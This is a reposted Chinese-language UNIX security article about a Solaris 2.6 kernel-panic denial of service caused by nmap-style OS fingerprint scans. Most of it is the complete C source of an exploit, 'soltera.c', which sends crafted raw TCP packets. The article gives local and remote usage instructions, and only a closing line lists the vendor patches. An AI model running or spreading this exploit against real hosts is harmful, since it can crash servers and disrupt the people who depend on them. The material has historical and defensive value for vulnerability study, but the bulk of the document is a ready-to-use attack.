[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 系統 > 正文
Solaris 2.6存在的拒絕服務問題(一個可以造成系統崩潰的程序)
本文出自:綠色兵團 作者: (2001-10-02 08:00:00)
            David Brumley以前發現在使用nmap V2.08的時候,如果選用了系統識別可以
            造成solaris的內核混亂,具體過程是:選擇一個正在使用的端口來進行系統識別,
            就可以將服務器當掉,這個過程對服務器或端口並沒什特殊要求,只要是個TCP
            端口就可以了。

            'Mixter'開發了一個程序,它可以造成Solaris 2.6(也可能包括其他版本)
            的系統崩潰。

            本地用戶執行方法:#soltera
            遠程用戶執行方法:#soltera <ip> <port>

            /* soltera.c - (c) Sep 1999 by Mixter
            * Local / Remote DoS against Solaris 2.6 (other versions?)
            *
            * Description: nmap fingerprint scans against any daemon that
            * terminates right after the scans are able to produce a kernel
            * panic on Solaris 2.6. (found by D.Brumley)
            * Local exploit: this program will create, scan and kill a listening
            * server. Just run it without arguments.
            * Remote exploit: soltera <ip> <port> - this _might_ work for a
            * service started again by inetd for every new session.
            * +++ root priviledges are needed for the fingerprinting +++
            */

            #define PORT    0xC0D3
            #define ANS "["
            #include <stdio.h>
            #include <unistd.h>
            #include <stdlib.h>
            #include <strings.h>
            #include <netinet/in.h>
            #include <sys/socket.h>
            #include <errno.h>
            #include <signal.h>

            #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + 
            (min))

            void server(int);
            void fakeosscan(u_long, int);
            unsigned long int inet_addr(const char *cp);

            typedef u_int32_t tcp_seq;

            #if __BYTE_ORDER == __BIG_ENDIAN
            unsigned long int htonl(unsigned long int hostlong) 
            {return(hostlong);}
            unsigned short int htons(unsigned short int hostshort) 
            {return(hostshort);}
            #endif

            struct iphdr
            {
            #if __BYTE_ORDER == __LITTLE_ENDIAN
            u_int8_t ihl:4;
            u_int8_t version:4;
            #elif __BYTE_ORDER == __BIG_ENDIAN
            u_int8_t version:4;
            u_int8_t ihl:4;
            #else
            #error "Please fix <bytesex.h>"
            #endif
            u_int8_t tos;
            u_int16_t tot_len;
            u_int16_t id;
            u_int16_t frag_off;
            u_int8_t ttl;
            u_int8_t protocol;
            u_int16_t check;
            u_int32_t saddr;
            u_int32_t daddr;
            };

            struct tcphdr
            {
            u_int16_t source;
            u_int16_t dest;
            tcp_seq seq;
            tcp_seq ack_seq;
            #if __BYTE_ORDER == __LITTLE_ENDIAN
            u_int8_t th_x2:4;
            u_int8_t th_off:4;
            #endif
            #if __BYTE_ORDER == __BIG_ENDIAN
            u_int8_t th_off:4;
            u_int8_t th_x2:4;
            #endif
            u_int8_t th_flags;
            #define TH_FIN 0x01
            #define TH_SYN 0x02
            #define TH_RST 0x04
            #define TH_PUSH 0x08
            #define TH_ACK 0x10
            #define TH_URG 0x20
            #define TH_BOG 64
            u_int16_t th_win;
            u_int16_t check;
            u_int16_t th_urp;
            };

            unsigned short
            ip_sum (addr, len)
            u_short *addr;
            int len;
            {
            register int nleft = len;
            register u_short *w = addr;
            register int sum = 0;
            u_short answer = 0;
            while (nleft > 1)
            {
            sum += *w++;
            nleft -= 2;
            }
            if (nleft == 1)
            {
            *(u_char *) (&answer) = *(u_char *) w;
            sum += answer;
            }
            if (nleft == 1)
            {
            *(u_char *) (&answer) = *(u_char *) w;
            sum += answer;
            }
            sum = (sum >> 16) + (sum & 0xffff);
            sum += (sum >> 16);
            answer = ~sum;
            return (answer);
            }

            int
            main (int ac, char **av)
            {
            int p = PORT, pid;
            u_long ia;
            if(getuid()) {
            printf("You need root to run this program successfully, sorry.\n");
            exit(0);
            }
            if(ac < 2 || !(ia=inet_addr(av[1])))
            {
            printf(ANS "0;32m[using ip 127.0.0.1]\n");
            ia=inet_addr("127.0.0.1");
            } else printf(ANS "0;32m[using ip %s]\n",av[1]);
            if(ac>=3) if(atoi(av[2])) p=atoi(av[2]);
            printf(ANS "0;34m[using port %d]\n",p);
            pid=fork();
            if(!pid) server(p);
            sleep(3);
            fakeosscan(ia,p);
            if (kill(pid,SIGKILL)==-1) printf(ANS "0;31mFAILED to kill server: 
            %s\n",strerror(errno));
            else printf(ANS "0;31m[server (pid: %d) killed]\n",pid);
            sleep(3);
            fakeosscan(ia,p);
            sleep(10);
            printf(ANS "0;35m[all done]%s0;0m\n",ANS);
            return 0;
            }

            void server(int port)
            {
            int c, e = sizeof (struct sockaddr_in);
            struct sockaddr_in l, r;
            l.sin_family = AF_INET;
            l.sin_port = htons (port);
            l.sin_addr.s_addr = INADDR_ANY;
            memset(l.sin_zero,0,8);
            c = socket (AF_INET, SOCK_STREAM, 0);
            bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));
            listen (c, 0xFF);
            printf(ANS "1;33m[server listening on port %d]\n",port);
            while(accept(c, (struct sockaddr *) &r, &e));
            }

            void fakeosscan(u_long ip, int port)
            {
            int r = socket(AF_INET, SOCK_RAW, IPPROTO_RAW),i;
            int orig = getrandom(1024,65534);
            char synb[8192];
            struct sockaddr_in sin;
            struct iphdr *ih = (struct iphdr *) synb;
            struct tcphdr *th = (struct tcphdr *) (synb + sizeof (struct 
iphdr));
            u_long seq = random();
            char *eoh = (synb + sizeof (struct iphdr) + sizeof (struct tcphdr));
            char options[32];
            int optlen = 20;

            printf(ANS "1;30m[initiating fingerprinting simulation on port 
            %d]\n",port);
            sin.sin_family = AF_INET;
            sin.sin_port = htons(port);
            sin.sin_addr.s_addr = ip;
            ih->version = 4;
            ih->ihl = 5;
            ih->tos = 0x00;
            ih->id = htons (random ());
            ih->frag_off = 0;
            ih->ttl = getrandom(0,255);
            ih->protocol = IPPROTO_TCP;
            ih->check = 0;
            ih->saddr = 0;
            ih->daddr = ip;
            th->source = htons(orig);
            th->dest = htons(port);
            th->seq = seq;
            th->ack_seq = 0;
            th->th_flags = 0;
            th->th_win = htons(1024 * (ih->ttl % 4 + 1));
            th->check = 0;
            th->th_urp = 0;

            /* packet 1 */
            memset(eoh,0,20);
            ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
            th->th_off = 5 + (optlen /4);
            th->th_flags = TH_BOG|TH_SYN;
            strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
            memcpy(eoh,options,optlen);
            th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct 
            tcphdr) + optlen + 1) & ~1);
            ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + 
            optlen + 1) & ~1);
            sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, 
            &sin, sizeof (sin));

            /* packet 2 */
            memset(eoh,0,20);
            ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
            th->th_off = 5 + (optlen /4);
            th->th_flags = 0;
            th->source++;
            strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
            memcpy(eoh,options,optlen);
            th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct 
            tcphdr) + optlen + 1) & ~1);
            ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + 
            optlen + 1) & ~1);
            sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, 
            &sin, sizeof (sin));

            /* packet 3 */
            memset(eoh,0,20);
            ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
            th->th_off = 5 + (optlen /4);
            th->th_flags = TH_SYN|TH_FIN|TH_URG|TH_PUSH;
            th->source++;
            strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
            memcpy(eoh,options,optlen);
            th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct 
            tcphdr) + optlen + 1) & ~1);
            ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + 
            optlen + 1) & ~1);
            sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, 
            &sin, sizeof (sin));

            /* packet 4 */
            memset(eoh,0,20);
            ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
            th->th_off = 5 + (optlen /4);
            th->th_flags = TH_ACK;
            th->source++;
            strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
            memcpy(eoh,options,optlen);
            th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct 
            tcphdr) + optlen + 1) & ~1);
            ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + 
            optlen + 1) & ~1);
            sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, 
            &sin, sizeof (sin));

            /* packet 5 */
            memset(eoh,0,20);
            ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
            th->th_off = 5 + (optlen /4);
            th->th_flags = TH_SYN;
            th->source++;
            strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
            memcpy(eoh,options,optlen);
            th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct 
            tcphdr) + optlen + 1) & ~1);
            ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + 
            optlen + 1) & ~1);
            sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, 
            &sin, sizeof (sin));

            /* packet 6 */
            memset(eoh,0,20);
            ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
            th->th_off = 5 + (optlen /4);
            th->th_flags = TH_ACK;
            th->source++;
            strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
            memcpy(eoh,options,optlen);
            th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct 
            tcphdr) + optlen + 1) & ~1);
            ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + 
            optlen + 1) & ~1);
            sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, 
            &sin, sizeof (sin));

            /* guess */
            memset(eoh,0,20);
            ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
            th->th_off = 5 + (optlen /4);
            th->th_flags = TH_FIN|TH_PUSH|TH_URG;
            th->source++;
            strcpy(options,"\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000");
            memcpy(eoh,options,optlen);
            th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct 
            tcphdr) + optlen + 1) & ~1);
            ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + 
            optlen + 1) & ~1);
            sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, 
            &sin, sizeof (sin));

            /* we omit the udp stuff */

            /* blah */
            optlen = 0;
            memset(eoh,0,20);
            ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
            th->th_off = 5 + (optlen /4);
            th->th_flags = TH_SYN;
            for(i=0;i<=6;i++)
            {
            usleep(31337);
            th->source=orig+i;
            th->seq=seq+i;
            th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct 
            tcphdr) + optlen + 1) & ~1);
            ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + 
            optlen + 1) & ~1);
            sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, 
            &sin, sizeof (sin));
            }

            close(r);
            }


            解決辦法:

            patch 105529-07 (for sparc)
            patch 105530 (for X86)


(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
Solaris 2.6存在的拒絕服務問題(一個可以造成系統崩潰的程序) (2001-10-02 08:00:00)
Proftpd 記憶體泄漏拒絕服務攻擊漏洞 (2001-05-20 22:08:00)
HTTP協議Content Lenth限制漏洞導致拒絕服務攻擊 (2001-05-20 10:08:01)
拒絕服務攻擊原理及解決方法 (2001-04-19 16:09:48)
 

★  樊強制作 歡迎分享  ★